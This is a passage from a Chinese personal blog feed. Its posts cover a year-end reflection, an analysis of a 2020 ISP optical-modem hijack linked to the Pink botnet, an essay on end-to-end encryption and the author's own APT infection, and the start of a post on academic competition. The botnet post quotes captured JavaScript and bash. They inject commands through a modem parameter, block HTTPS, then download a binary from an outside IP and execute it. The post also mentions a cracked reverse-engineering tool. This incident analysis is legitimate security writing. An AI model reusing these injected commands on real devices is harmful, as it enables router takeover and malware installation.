headerLink">思考</a></h2><p>这一年,因为看到、听到、经历到的各种事情,我也开始对人生、对理想、对未来、对社会、对人进行了更加深入的思考。这些思考还未形成文字,很多只是心里的一个想法,还需要后面的人生经历进行巩固和验证。</p><p>有几点比较自私的想法,我想记录在2021年,供未来的我思考和批判</p><ol><li>以改变阶级层次为最终目标</li><li>程序员要努力活得久</li><li>家庭幸福、开心最重要</li></ol><p>是不是很自私?不要嘲笑我!</p><p>好了,现在是21年12月31日22点42分,是时候关闭电脑回宿舍了。</p><p>2022,你好!</p>]]></description></item><item><title>从最近披露的Pink僵尸网络想到的</title><link>https://zu1k.com/posts/events/pinkbot/</link><pubDate>Wed, 27 Oct 2021 13:00:45 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/events/pinkbot/</guid><description><![CDATA[
<p>昨天上课的时候无聊刷<a href=https://www.v2ex.com/t/810633 target=_blank rel="noopener noreffer" class=post-link>V2EX</a>,读到 360 Netlab 发布的文章<a href=https://blog.netlab.360.com/pinkbot/ target=_blank rel="noopener noreffer" class=post-link>《一个藏在我们身边的巨型僵尸网络 Pink》</a>,披露了2019年底到2020年春节前后的一个名为"<strong>Pink</strong>“的巨型僵尸网络从被发现到攻防博弈过程的一些细节</p><p>文中的攻防过程令我很是激动,因为我想起了在2020年初的一件事</p><h2 id=光猫升级事件><a href=#光猫升级事件 class="header-mark headerLink">光猫升级事件</a></h2><p>2020年1月初,访问某些http协议(80端口)的网站,会被劫持到一个联通光猫升级页面</p><p><figure><a class=lightgallery href=/posts/events/pinkbot/tieba-web-update_hu9efb79b37fd88cfd06cb61ac5fc742cc_270333_1919x985_resize_q75_h2_box_3.webp title=百度贴吧被劫持到升级页面 data-thumbnail=/posts/events/pinkbot/tieba-web-update_hu9efb79b37fd88cfd06cb61ac5fc742cc_270333_1919x985_resize_q75_h2_box_3.webp data-sub-html="<h2>百度贴吧被劫持到升级页面</h2><p>百度贴吧被劫持到升级页面</p>"><img src=/posts/events/pinkbot/tieba-web-update_hu9efb79b37fd88cfd06cb61ac5fc742cc_270333_1919x985_resize_q75_h2_box_3.webp alt=/posts/events/pinkbot/tieba-web-update_hu9efb79b37fd88cfd06cb61ac5fc742cc_270333_1919x985_resize_q75_h2_box_3.webp height=985 width=1919 loading=lazy></a><figcaption class=image-caption>百度贴吧被劫持到升级页面</figcaption></figure></p><div class="details admonition info open"><div class="details-summary admonition-title"><i class="icon icon-info-circled"></i>信息<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content>对这个页面的源码在gist上进行了<a href=https://gist.github.com/zu1k/7120d1f71797153eb8c867bb09323eae target=_blank rel="noopener noreffer" class=post-link>备份</a>,感兴趣的同学可以看一下 <a href=https://gist.github.com/zu1k/7120d1f71797153eb8c867bb09323eae#L9923 target=_blank rel="noopener noreffer" class=post-link>9923</a> 行</div></div></div><h3 id=官方后门><a href=#官方后门 class="header-mark headerLink">官方后门</a></h3><p>通过查看请求和页面源码可以发现这个页面通过向 <code>192.168.1.1</code> 的某个接口进行 <strong>jsonp</strong> 请求来执行命令</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt> 1
</span><span class=lnt> 2
</span><span class=lnt> 3
</span><span class=lnt> 4
</span><span class=lnt> 5
</span><span class=lnt> 6
</span><span class=lnt> 7
</span><span class=lnt> 8
</span><span class=lnt> 9
</span><span class=lnt>10
</span><span class=lnt>11
</span><span class=lnt>12
</span><span class=lnt>13
</span><span class=lnt>14
</span><span class=lnt>15
</span><span class=lnt>16
</span><span class=lnt>17
</span><span class=lnt>18
</span><span class=lnt>19
</span><span class=lnt>20
</span><span class=lnt>21
</span><span class=lnt>22
</span><span class=lnt>23
</span><span class=lnt>24
</span><span class=lnt>25
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-javascript data-lang=javascript><span class=line><span class=cl><span class=kd>function</span> <span class=nx>ajax</span><span class=p>(){</span>
</span></span><span class=line><span class=cl> <span class=c1>//document.getElementById("tip").innerHTML="请重启光猫,并保持页面不关闭,重启后请立即连接光猫WIFI或者网口,等待五分钟后检查网络是否正常";
</span></span></span><span class=line><span class=cl><span class=c1></span> <span class=nx>$</span><span class=p>.</span><span class=nx>ajax</span><span class=p>(</span>
</span></span><span class=line><span class=cl> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nx>dataType</span><span class=o>:</span> <span class=s1>'jsonp'</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=nx>data</span><span class=o>:</span> <span class=s2>""</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=nx>jsonp</span><span class=o>:</span> <span class=s1>'callback'</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=nx>url</span><span class=o>:</span> <span class=s1>'http://192.168.1.1/createNewFolder.json?enlpassword=1234567890abcdefx1234567890abcdefxx1234567890abcdefxxx1eee;iptables -I OUTPUT -p tcp --dport 443 -j DROP;iptables -I OUTPUT -p udp --dport 123 -j DROP;if [ ! -f /tmp/sdsjw ] %26%26 wget http://182.43.249.225:19735/sdsjw -P /tmp;then chmod 777 /tmp/sdsjw;/tmp/sdsjw;fi; /jsonp?'</span><span class=p>,</span>
</span></span><span class=line><span class=cl> <span class=nx>success</span><span class=o>:</span> <span class=kd>function</span> <span class=p>(</span><span class=nx>data</span><span class=p>)</span> <span class=p>{</span>
</span></span><span class=line><span class=cl> <span class=nx>console</span><span class=p>.</span><span class=nx>log</span><span class=p>(</span><span class=nx>JSON</span><span class=p>.</span><span class=nx>stringify</span><span class=p>(</span><span class=nx>data</span><span class=p>));</span> <span class=c1>// 这里是返回数据
</span></span></span><span class=line><span class=cl><span class=c1></span> <span class=c1>//document.getElementById("tip").innerHTML="设备正在升级,请等待五分钟后检查网络是否正常";
</span></span></span><span class=line><span class=cl><span class=c1></span> <span class=p>},</span>
</span></span><span class=line><span class=cl> <span class=nx>error</span><span class=o>:</span><span class=kd>function</span><span class=p>(</span><span class=nx>XLMHttpResponse</span><span class=p>,</span><span class=nx>textStatus</span><span class=p>,</span><span class=nx>errorThrown</span><span class=p>){</span>
</span></span><span class=line><span class=cl> <span class=k>if</span><span class=p>(</span><span class=nx>XLMHttpResponse</span><span class=p>.</span><span class=nx>status</span> <span class=o>==</span> <span class=mi>200</span><span class=p>){</span>
</span></span><span class=line><span class=cl> <span class=c1>//document.getElementById("tip").innerHTML="设备正在升级,请等待五分钟后检查网络是否正常";
</span></span></span><span class=line><span class=cl><span class=c1></span> <span class=p>}</span>
</span></span><span class=line><span class=cl> <span class=p>},</span>
</span></span><span class=line><span class=cl> <span class=nx>complete</span><span class=o>:</span><span class=kd>function</span><span class=p>(</span><span class=nx>XLMHttpResponse</span><span class=p>){</span>
</span></span><span class=line><span class=cl> <span class=k>if</span><span class=p>(</span><span class=nx>XLMHttpResponse</span><span class=p>.</span><span class=nx>status</span> <span class=o>==</span> <span class=mi>200</span><span class=p>){</span>
</span></span><span class=line><span class=cl> <span class=c1>//document.getElementById("tip").innerHTML="设备正在升级,请等待五分钟后检查网络是否正常";
</span></span></span><span class=line><span class=cl><span class=c1></span> <span class=p>}</span>
</span></span><span class=line><span class=cl> <span class=p>}</span>
</span></span><span class=line><span class=cl> <span class=p>}</span>
</span></span><span class=line><span class=cl> <span class=p>);</span>
</span></span><span class=line><span class=cl><span class=p>}</span>
</span></span></code></pre></td></tr></table></div></div></div><p>很明显,这是一个后门,或者是一个漏洞,我更相信这是一个官方后门</p><p>根据它的写法我稍微测试了一下,通过jsonp跨域,进行CSRF,的确可以执行任意命令</p><p><figure><a class=lightgallery href=/posts/events/pinkbot/test-backdoor_hu06ae7568a8eb97acb357abb97fa2cb4f_231622_1919x1079_resize_q75_h2_box_3.webp title=测试这个后门 data-thumbnail=/posts/events/pinkbot/test-backdoor_hu06ae7568a8eb97acb357abb97fa2cb4f_231622_1919x1079_resize_q75_h2_box_3.webp data-sub-html="<h2>测试后门</h2><p>测试这个后门</p>"><img src=/posts/events/pinkbot/test-backdoor_hu06ae7568a8eb97acb357abb97fa2cb4f_231622_1919x1079_resize_q75_h2_box_3.webp alt=/posts/events/pinkbot/test-backdoor_hu06ae7568a8eb97acb357abb97fa2cb4f_231622_1919x1079_resize_q75_h2_box_3.webp height=1079 width=1919 loading=lazy></a><figcaption class=image-caption>测试后门</figcaption></figure></p><p>如果被利用了,岂不是???又有谁知道到底是不是已经被利用了呢,反正我不知道</p><div class="details admonition info open"><div class="details-summary admonition-title"><i class="icon icon-info-circled"></i>信息<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content><p>我很早之前就把光猫设置为桥接模式了,利用自己的路由器拨号,不受该后门影响</p><p>局域网也改为另外一个网段了,“192.168.1.1” 根本没有机器</p></div></div></div><p>再回过头来看升级页面执行的shell命令:</p><div class=highlight><div class=chroma><div class=table-wrapper><table class=lntable><tr><td class=lntd><pre tabindex=0 class=chroma><code><span class=lnt>1
</span><span class=lnt>2
</span><span class=lnt>3
</span><span class=lnt>4
</span><span class=lnt>5
</span><span class=lnt>6
</span><span class=lnt>7
</span></code></pre></td><td class=lntd><pre tabindex=0 class=chroma><code class=language-bash data-lang=bash><span class=line><span class=cl>iptables -I OUTPUT -p tcp --dport <span class=m>443</span> -j DROP<span class=p>;</span>
</span></span><span class=line><span class=cl>iptables -I OUTPUT -p udp --dport <span class=m>123</span> -j DROP<span class=p>;</span>
</span></span><span class=line><span class=cl><span class=k>if</span> <span class=o>[</span> ! -f /tmp/sdsjw <span class=o>]</span> <span class=o>&&</span> wget http://182.43.249.225:19735/sdsjw -P /tmp<span class=p>;</span> <span class=k>then</span>
</span></span><span class=line><span class=cl> chmod <span class=m>777</span> /tmp/sdsjw<span class=p>;</span>
</span></span><span class=line><span class=cl> /tmp/sdsjw<span class=p>;</span>
</span></span><span class=line><span class=cl><span class=k>fi</span><span class=p>;</span>
</span></span><span class=line><span class=cl>/jsonp?
</span></span></code></pre></td></tr></table></div></div></div><p>当初看这段命令的时候就觉得非常奇怪</p><p>为什么上来第一句就要阻断到所有目标443端口的tcp连接?当初的一个想法是防止用户用https协议,这样用户只能使用80端口的http明文协议,可以进行监听或者劫持等操作。这样也不合理啊,HSTS也不是吃干饭的,再说联通如果通过更新屏蔽掉到443端口的所有请求,不怕用户集体反馈和投诉吗?反正当初是没想通这个谜之操作</p><p>再看第二句,也莫名其妙,udp 123端口是NTP服务,找你惹你了,犯不着全部屏蔽掉吧。还是想不明白</p><p>往后的命令就比较常规了,下载了一个二进制程序,权限修改为<code>777</code>,然后直接执行</p><h3 id=怀疑被攻击><a href=#怀疑被攻击 class="header-mark headerLink">怀疑被攻击</a></h3><p>通过对上面升级执行的命令进行分析,我觉得这些操作很不符合常理,将这些已知信息在小群里交流之后,怀疑可能是一起攻击事件,通过劫持用户的http访问,利用光猫的后门(可能是漏洞,虽然我不信)植入恶意程序</p><p>遂决定对<code>sdsjw</code>程序进行逆向分析,分析的枯燥过程这里省略了,最后结果就是没有发现什么异常的点,到这里对这个事件的分析便不了了之了(当初的二进制程序我找不到了,现在也下载不到了)</p><div class="details admonition info open"><div class="details-summary admonition-title"><i class="icon icon-info-circled"></i>信息<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content><p>通过逆向mips版的升级程序,我得出了两个结论:</p><ul><li>JEB的MIPS逆向体验很不错</li><li>毛子的JEB破解版真好用</li></ul></div></div></div><h3 id=联通工作人员上门升级><a href=#联通工作人员上门升级 class="header-mark headerLink">联通工作人员上门升级</a></h3><p>2020年5月10号下午,联通工作人员上门进行光猫升级。具体升级方法就是把一块板子通过光猫侧面的口插到主板上,然后通过手机上的app进行固件刷写</p><p>在交流的过程中,他透漏光猫大批量被控,有对外攻击流量,接上面要求需要对所有光猫进行升级。我家的光猫在线升级失败,只能到户手动完成。我看了一下他需要上门的名单,看样子我们这个区域关闭了在线管理接口的用户还不少啊哈哈哈</p><p><figure><a class=lightgallery href=/posts/events/pinkbot/update_hub38e2aa914395ed6062e6a7393690ccd_313646_1080x826_resize_q75_h2_box.webp title=联通工作人员上门升级 data-thumbnail=/posts/events/pinkbot/update_hub38e2aa914395ed6062e6a7393690ccd_313646_1080x826_resize_q75_h2_box.webp data-sub-html="<h2>联通工作人员上门升级</h2><p>联通工作人员上门升级</p>"><img src=/posts/events/pinkbot/update_hub38e2aa914395ed6062e6a7393690ccd_313646_1080x826_resize_q75_h2_box.webp alt=/posts/events/pinkbot/update_hub38e2aa914395ed6062e6a7393690ccd_313646_1080x826_resize_q75_h2_box.webp height=826 width=1080 loading=lazy></a><figcaption class=image-caption>联通工作人员上门升级</figcaption></figure></p><h2 id=我在第一层人家在第5层><a href=#我在第一层人家在第5层 class="header-mark headerLink">我在第一层,人家在第5层</a></h2><p>虽然这个事已经过去一年多了,但现在想起来还是有那么一些感触,在运营商与黑客的一轮又一轮攻防博弈中,我有幸记录下其中某个小小的过程。在信息还未对外揭露之前,我无法理解那些莫名其妙的升级指令,甚至怀疑那是一起攻击事件,利用自己微不足道的知识尝试分析却不得结果。当保密期过去之时,我们得以看到整个事件的原貌,不禁感叹,我还是太年轻了啊(好像听到了“长者”的话)</p><h3 id=关于看待事情><a href=#关于看待事情 class="header-mark headerLink">关于看待事情</a></h3><p>所谓“管中窥豹,略见一斑”,从这件事我学到的第一点便是,要有大局观,要广泛的收集信息,看待某件事时要把时间线放长,这样才能去尽力触及事情的真相</p><h3 id=关于现代网络攻击><a href=#关于现代网络攻击 class="header-mark headerLink">关于现代网络攻击</a></h3><p>我学到的第二点是关于现代网络攻击。我觉得我对网络攻击的印象还停留在早年的那些简单的漏洞利用,虽然近几年通过网络也吃了不少现代网络攻击事件的瓜,但是并未意识到真正的网络攻击就潜伏在你我身边</p><p>通过本次事件我们可以清晰的看出,现代的网络攻击使用的技术更加先进,对隐匿性的要求也更高,如果不是有广泛的监控难以发现。在遇到厂商的狙杀时攻击者能够在第一时间绕过和阻拦,甚至能够在多轮对抗中取得优势将厂商直接阻拦在门外,夺取绝对的控制权,逼迫厂商只能线下进行上门修复</p><p>简单列几句文中的原话:</p><ul><li>“至对光猫固件做了多处改动后,还能确保光猫能够正常使用”</li><li>“在与相关厂商的屡次攻防博弈中,PinkBot 的运营者都占据了明显的对抗优势”</li><li>“PinkBot 在整个过程中表现出了极强的针对性和专业性,各方面能力都很均衡,甚至有些可怕”</li><li>“攻击者还使用了ecdsa对配置信息进行了签名”</li></ul><p>我觉得不可思议的是这一句:</p><ul><li>“我们一直阶段性的对公网上的 Pink 节点进行持续监测,通过对 2021/10/20日的日志分析,我们仍然可以看到 103024 个 IP 处于日活状态。这表明,当前的 pink 的感染规模仍然在 10w 量级左右,涉及多家设备厂商,按照每个IP对应一个三口之家来计算,受影响人群大概 30w 人左右”</li></ul><p>被发现近2年,竟然还没有清除干净,这存活能力得有多强,难以想象</p><p>结论:攻击者能力很强,未来遭遇的攻击会更加专业和可怕</p><h3 id=关于个人安全><a href=#关于个人安全 class="header-mark headerLink">关于个人安全</a></h3><p>关于个人安全,其实我没有发言权,毕竟我也曾踩过别人的水坑</p><p>但是我还是要说一句,就是保持差异化,默认的配置只会给攻击者创造便利</p><p>再加一句,不要把自己的安全完全托付在别人手中</p><h2 id=参考链接><a href=#参考链接 class="header-mark headerLink">参考链接</a></h2><ul><li><a href=https://www.v2ex.com/t/810633 target=_blank rel="noopener noreffer" class=post-link>运营商收回公网 IP 的原因之一</a></li><li><a href=https://blog.netlab.360.com/pinkbot/ target=_blank rel="noopener noreffer" class=post-link>一个藏在我们身边的巨型僵尸网络 Pink</a></li><li><a href=https://www.freebuf.com/articles/endpoint/243189.html target=_blank rel="noopener noreffer" class=post-link>用户端设备ONU被肉鸡攻击实例浅析</a></li></ul>]]></description></item><item><title>虚假的安全感</title><link>https://zu1k.com/posts/thinking/false-sense-of-security/</link><pubDate>Tue, 05 Oct 2021 10:30:00 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/thinking/false-sense-of-security/</guid><description><![CDATA[
<p>凌晨3点,一阵凉风把我吹醒</p><p>我点亮手机屏幕,一条推送新闻映入眼帘:“<strong>苹果公司让iCloud Safari书签也实现端到端加密</strong>”</p><h2 id=端到端加密><a href=#端到端加密 class="header-mark headerLink">端到端加密</a></h2><p>“<strong>端到端加密</strong>”,他们总喜欢用这样一些看起来高大上的词汇</p><p>我对这个词颇为熟悉,原本不想多说,但为了本文的部分读者,我还是稍微解释一下为好</p><p>所谓的“<strong>端</strong>”,即指你的<strong>客户端</strong>,该新闻中指你的苹果设备</p><p>“<strong>端到端加密</strong>”就是说你的数据在对外传输之前会进行加密,<strong>只会在接收的客户端进行解密</strong>,而在网络传输和苹果的数据库存储这些<strong>中间过程中不进行任何解密操作</strong>,这就能保证你的数据只有你可见,其他中间人看到的都只是加密的数据,从而保证你的数据安全</p><h2 id=安全吗><a href=#安全吗 class="header-mark headerLink">安全吗?</a></h2><p>很明显,苹果此举是为了保证你的数据安全,但这样是不是就保证了你的数据除了你之外没有人可以看到呢?</p><p>先别急着回答,让我们先来捋一下:</p><ol><li>现代密码学保证数据被加密后其他人看不到原文(期望上如此)</li><li>端到端加密保证了数据离开你的设备后呈现的都是密文状态</li></ol><p>这样看来,端到端加密理论上可以保证你的数据别人看不到</p><p>再来看看这条推送新闻:</p><blockquote><p>据 Reddit 论坛信息,苹果“iCloud 安全概述”页面的更新显示,与 Safari 标签和历史记录相同,Safari 书签现也更新为端到端加密。</p><p><strong>这意味着任何人,甚至是苹果,都无法访问用户保存的 Safari 书签。</strong></p></blockquote><p>新闻中都这样说了,不管懂不懂,反正我们便要相信它了</p><h2 id=真的如此吗><a href=#真的如此吗 class="header-mark headerLink">真的如此吗?</a></h2><p>等等!!!真的如此吗?</p><p>我在苹果的ToS中发现了这样一段话:</p><blockquote><p>您确认并同意,Apple 在其认为合理必要或适宜的情况下可以访问、使用、保存您的帐户信息和任何内容以及/或者将您的帐户信息和内容披露给执法机构、政府官员和/或第三方而无需向您承担任何责任</p><p>来自:https://www.apple.com/legal/internet-services/icloud/cn/terms.html</p></blockquote><p>如果他们真的无法解密你的数据,那他们如何将你的数据提供给执法机构呢?</p><p>前面的内容我们似乎都忽略了非常重要的一点:<strong>真正用来加密数据的密钥由谁持有?</strong></p><p>根据我的编程经验,我们通常不会使用用户的密码直接来加密数据,主要有以下原因:</p><ol><li>用户的密码通常不够长,不符合安全密钥的长度要求</li><li>如果用户修改密码,使用密码直接加密数据需要对所有数据重新加密,这很耗时耗资源</li><li>数据库中通常不会存储明文密码,如果用户忘记了密码,则用户数据便无法恢复了</li></ol><p>我们一般通过以下方法之一来解决问题:</p><ol><li>直接生成符合要求的随机密钥,然后用用户密码来加密存储密钥</li><li>直接生成符合要求的随机密钥,建立用户与密钥的映射,所有密钥由服务商统一加密保存</li></ol><p>不难看出,使用用户密码加密存储密钥,这种方案在服务商不存储用户密码明文(或者其他任何可以用来解密密钥的信息)的情况下,安全性很高,但是如果用户忘记密码则难以恢复用户数据</p><p>而在实际工程化的解决方案中,为了能够在特殊情况下为用户恢复珍贵的数据,通常密钥不会直接交由用户持有,而是通过服务商的安全基础设施和安全承诺信用来保证的</p><p>那苹果是采用哪种方案呢?</p><p>我在苹果的 <a href=https://support.apple.com/en-us/HT202303 target=_blank rel="noopener noreffer" class=post-link>iCloud security overview</a> 一文中找到了这样的内容:</p><blockquote><p>On each of your devices, the data that you store in iCloud and that’s associated with your Apple ID is protected with a key derived from information unique to that device, combined with your device passcode which only you know. No one else, not even Apple, can access end-to-end encrypted information.</p><p>翻译:在你的每台设备上,你存储在iCloud中并与你的Apple ID相关联的数据,都受到来自该设备独有信息的密钥的保护,并与只有你知道的设备密码相结合。其他任何人,甚至是苹果,都不能访问端到端加密的信息。</p></blockquote><blockquote><p>Data types that are protected by end-to-end encryption—such as your Keychain, Messages, Screen Time, and Health data—are not accessible via iCloud Data Recovery Service.</p><p>翻译:受端到端加密保护的数据类型–如你的钥匙串、信息、屏幕时间和健康数据–不能通过iCloud数据恢复服务访问。</p></blockquote><p>通过这句话可以推测,苹果应该采用的是用用户密码来加密密钥的方案,这很安全</p><p>但这是真的吗?苹果在这方面一直保持闭源,没有任何外部人员可以确认这一点,这些承诺会不会成为“虚假的安全感”呢?</p><p>说了这么多,其实我们就想知道服务商到底能不能在不经我们允许的情况下解密我们的数据</p><div class="details admonition warning open"><div class="details-summary admonition-title"><i class="icon icon-attention-circled"></i>注意<i class="details-icon icon-angle-circled-right"></i></div><div class=details-content><div class=admonition-content>这里的“<strong>允许</strong>”不是说整个弹窗让我们点一下同意按钮,而是真正需要我们提供一个“<strong>秘密</strong>”才能继续解密下去</div></div></div><p>我想起了之前看到的 “<strong>泥坑实验</strong>”</p><ol><li>把你的设备扔进一个泥坑中</li><li>滑入泥坑中,并砸碎自己的脑袋。当你恢复意识时,你将完全恢复,但是你将永远无法回忆起你的密码和密钥等内容</li><li>尝试恢复你备份在云端的数据</li></ol><p>实验可能难以真正实施,但是可以采取一些其他的折中手段,比如假装自己失忆,说一些谎言啥的</p><p>无论用了什么办法(证明自己身份、找司法机关帮助、和库克是好朋友等等),如果你可以成功恢复你的数据,那代表着你的数据不是真正的安全</p><p>你应该能明白这意味着什么,暂且不说司法部门等合法要求解密数据,只要服务商有途径解密数据,入侵者就有可能不经过你的同意获得你数据的明文</p><h2 id=虚假的安全感><a href=#虚假的安全感 class="header-mark headerLink">虚假的安全感</a></h2><p>我们都相信“没有绝对的安全”,但我更有理由相信,比知道“不安全”更可怕的情况是,<strong>认为</strong>自己处于“安全”的位置,我称其为“虚假的安全感”</p><p>就像前面新闻中提到的那样,如果读者对相关知识和加密方案没有了解,就会被文中的词汇迷惑,完全相信文中那些并非由服务商自己说出的承诺(即使是服务商自己承诺的,也不完全可信)</p><p>在这种情况下,如果你相信自己交给服务商的数据完全安全,就有可能在未来的某一天被其反噬</p><p>其实,这种“虚假的安全感”在很多地方都有可能发生,我可以给大家讲一个发生在我自己身上的真实故事,相关细节我会进行模糊处理</p><h3 id=被攻击的真实案例><a href=#被攻击的真实案例 class="header-mark headerLink">被攻击的真实案例</a></h3><p>某天上午,我同时接到导员和党委书记的电话,说学校网络管理部来了两个工作人员,让我带着电脑过去给他们提供一点帮助。我<strong>没有多想</strong>,背着电脑包屁颠屁颠的过去了,却发现不是学校网管,而是某部门来了两个人</p><p>他们详细询问了我近一个月的网络活动,询问我是否与某列表中国外某些黑客组织有联系,并检查了我的笔记本电脑。反正我也没做坏事,按照流程走下来也没发现什么异常,但他们给我看的某个网址给我留下了印象</p><p>回去后,我找到了那个网页,那是FreeBuf中的一篇文章,内容是Google纰漏的一起APT攻击的相关情报。我根据其内容找到了Google原文并找到了更多信息,当晚我根据相关思路对我的电脑进行了细致的检查,最终发现了一个异常进程</p><p>通过对该程序进行逆向分析,我发现样本与Google纰漏的样本虽有不同,但诸多特征和证据表明其与该APT组织的攻击程序同源,由此证明我的电脑遭遇了国外APT组织的攻击</p><p>我马上联系了他们,他们坦白的确是因为这个原因来找我的。根据他们的监控,这是此APT组织发起的第三波攻击,国内有其他安全研究者也同样中招</p><p>通过对我电脑中文件写入记录(可以修改的)、服务添加记录、路由器中的上网日志、学校的DNS日志等信息进行综合分析,基本确定被攻击的大体时间范围和攻击手段</p><p>通过结合当天微信聊天记录,我回忆起被攻击当天我在研究某服vpn客户端,上网查了一些相关研究案例,而结合Google纰漏的情报,我极有可能触发了他们的水坑,通过浏览器漏洞执行了黑客的恶意代码</p><p>这个事件到这里并没有结束,我想说的关键才刚刚开始</p><p>被攻击的时间点前两周我刚重装了系统,最新的Windows10打上所有安全补丁,最新的Chrome浏览器。通常认知下,将系统和软件更新到最新并打上安全补丁,应对基本的网页浏览是基本可以放心的</p><p>但实际情况就这样狠狠的打了脸,事实证明,那些我以为的最新版带来的安全感都是“虚假的安全感”,在真正的攻击面前毫无招架之力</p><h2 id=夸大危险也许更加可怕><a href=#夸大危险也许更加可怕 class="header-mark headerLink">夸大危险也许更加可怕</a></h2><p>我不想我的读者读了我上面的内容,产生“反正世界上没有绝对的安全,无论怎么努力都仍暴露在危险之下,那还努力个啥?”的想法</p><p>我上面的内容的确夸大了大家面临的危险,绝大多数人都没有被攻击的价值</p><p>相比“虚假的安全感”,“夸大危险”也许更加可怕,因为认为危险无法避免而放弃抵抗的案例比比皆是</p><p>举一个身边最真实最普遍的例子,大家在拥有了安全研究经验后,往往会发现几乎所有现有的杀毒软件等难以发现和阻拦最新的0day攻击,所以大家往往干脆不安装杀毒软件</p><p>要知道,即使是最小的防御措施也能够起到一定的阻拦作用,虽然无法阻拦最新的0day,但是面对各种脚本小子还是能够轻易防护的,无论如何都比没有强</p><p>夸大的危险极易使人放弃抵抗,从而使自己暴露在更大的危险之下,这比“虚假的安全感”更加可怕</p><h2 id=我的态度><a href=#我的态度 class="header-mark headerLink">我的态度</a></h2><p>我还年轻,经验太少</p><p>我面对危险和安全的态度也许会随着之后的人生经历而产生变化,但无论如何我还是记录以下我现有的想法吧</p><h3 id=资产梳理><a href=#资产梳理 class="header-mark headerLink">资产梳理</a></h3><p>我的第一个想法是资产梳理,对自己有价值的东西进行梳理,包括各类物理可接触的东西和虚拟不可接触的数据</p><p>正所谓“知己知彼,百战不殆”,如果自己都不知道自己拥有那些有价值的东西,那几乎就等于将这些遗忘的东西拱手让人</p><h3 id=价值分级><a href=#价值分级 class="header-mark headerLink">价值分级</a></h3><p>然后是价值分级,按照资产的价值高低对所拥有的东西和数据进行划分不同等级</p><p>这很好理解,高价值的东西采取高安全性的措施,低价值的东西可以稍微放松一点</p><p>毕竟较高的安全性往往带来复杂性的增加,而人的精力有限,无法对所有内容都采取最高安全措施</p><h3 id=谦虚与谨慎><a href=#谦虚与谨慎 class="header-mark headerLink">谦虚与谨慎</a></h3><p>我看到上面案例中的两个人,他们习惯于用随身携带的笔记本记录内容,习惯于使用不可多次写入的CD光盘来传输数据,习惯于用手随时遮挡正在书写的内容</p><p>虽然他们的安全技能高出常人许多,但他们对各种小细节都保持者最大的谦虚和谨慎,我认为这是保证安全性的最基本也是最重要的东西</p><h2 id=拓展阅读><a href=#拓展阅读 class="header-mark headerLink">拓展阅读</a></h2><ul><li><a href=https://blog.cryptographyengineering.com/2012/04/05/icloud-who-holds-key/ target=_blank rel="noopener noreffer" class=post-link>iCloud: Who holds the key?</a></li><li><a href=https://www.Base64decode.org/ target=_blank rel="noopener noreffer" class=post-link>NkkySjVweW81NXFHNVlXMTVaS000b0NkNTRpeDZMQ0I2TENCNG9DZDZZTzk1WStxNUx5YTViaW01cDJsNXB1MDVhU2E1NXFFNVkyeDZabXA=</a></li></ul>]]></description></item><item><title>干!有人在卷我</title><link>https://zu1k.com/posts/thinking/fuck-involution/</link><pubDate>Thu, 17 Jun 2021 23:08:00 +0800</pubDate><author>zu1k</author><guid>https://zu1k.com/posts/thinking/fuck-involution/</guid><description><![CDATA[
<p>“干!他妈的我被卷了。我不能接受!” 一个研究生学长这样告诉我。</p><p>这是我提前选修的研究生课程,按照提交的文档评成绩,本是上个学期的课程却拖到这个学期末才出成绩。我很诧异自己拿到的成绩没有过平均线,但历年来该课程老师的极低评价我也有所耳闻,因此自己也算能够勉强接受。</p><p>然而那个研究生学长却没听说过该老师,算是踩了个大坑。他的学习态度我是见过的,很努力很刻苦,最后给他不到70分的成绩和倒数的名次给谁也接受不了,我建议其申请成绩复议。后来他跟我说,那个老师给他发了第一名97分的文档,人家提交了21页,足足有1万5千字。而他只提交了3000字。</p><p>所以我知道了,我应该也被狠狠的卷了,因为我也只提交了3000字。但我拿到了80分(草,没过平均线),虽然没有什么用。我拿到了那份21页的文档,原来也是提前选修的同学,是个女生,见过几面,挺温柔的,所以我不想批判她。(我劝各位读者不要他妈多想)</p><p>亲身经历过内卷(是被卷的一方),这段时期又刮起一阵反内卷风,B站各种《内卷的名义》等反内卷题材小短片,“躺平”这个词被大众广泛接受(我不喜欢内卷,但也不支持躺平),我就想,是时候写点东西了。可能不是很深刻,但也算是我在这个时期的一扑棱,毕竟还是有同学和陌生人来看我写的文字的,感谢大家。</p><h2 id=我参与过内卷吗><a href=#我参与过内卷吗 class="header-mark headerLink">我参与过内卷吗?</a></h2><p>在开始之前,我想先回答这个问题:“我参与过内卷吗?”。毕竟大家都不喜欢内卷(我想至少我的读者应该是这样的),我不想一开始就成为大家口中的“内卷人”。</p><p>对于这个问题,我想,应该没有吧。</p><p>但是我想让大家来评判,请看以下两个例子,算是学生阶段能够遇到的两个最典型最容易产生内卷的场合:</p><ol><li>要交课程报告。虽然没有规定字数,但我坚决不会让我的报告低于3000字,一般写3200-3500字。我认为这是学生提交报告的本分,至少不要让老师觉得你太敷衍吧。</li><li>要期末考试了,得提前复习。虽然平时上课我都会仔细听(认识我的别打我啊,我可是每堂课都坐前几排的,虽然在老师眼皮底下玩手机真的很爽,虽然我不做任何笔记,但是我真的有仔细听课),但考试前还是要好好复习的,提前一个周吧,考试前两天会疯狂背书和做题。</li></ol><p><strong>一些身边人的情况</strong>:</p><ol><li>课程报告,没规定字数和格式是吧,那先来他2w字。什么封面、目录、图片、表格能有的全给他整上,内容要分章节,最好不少于5章,最后还要有总结和引用文献。关键内容要加粗和标红,不能让审阅老师看不到啊。什么,你说内容?内容谁看啊,管他合不合适,只要与主题有点关系的先写上再说,反正多出来的又不会扣分。(真事,大一下,找那个老师理论,她坦然承认自己评阅标准有问题,但是不能改分。她承诺我后面如果哪门课感觉要挂,可以找她,她帮我去找相关老师求情。???????去她妈的!我会挂科吗?她这算放了一个屁吧朋友们)</li><li>期末考试,那不得提前两个月甚至半个学期就开始复习和刷题了。课后题啥的做不到完全背过那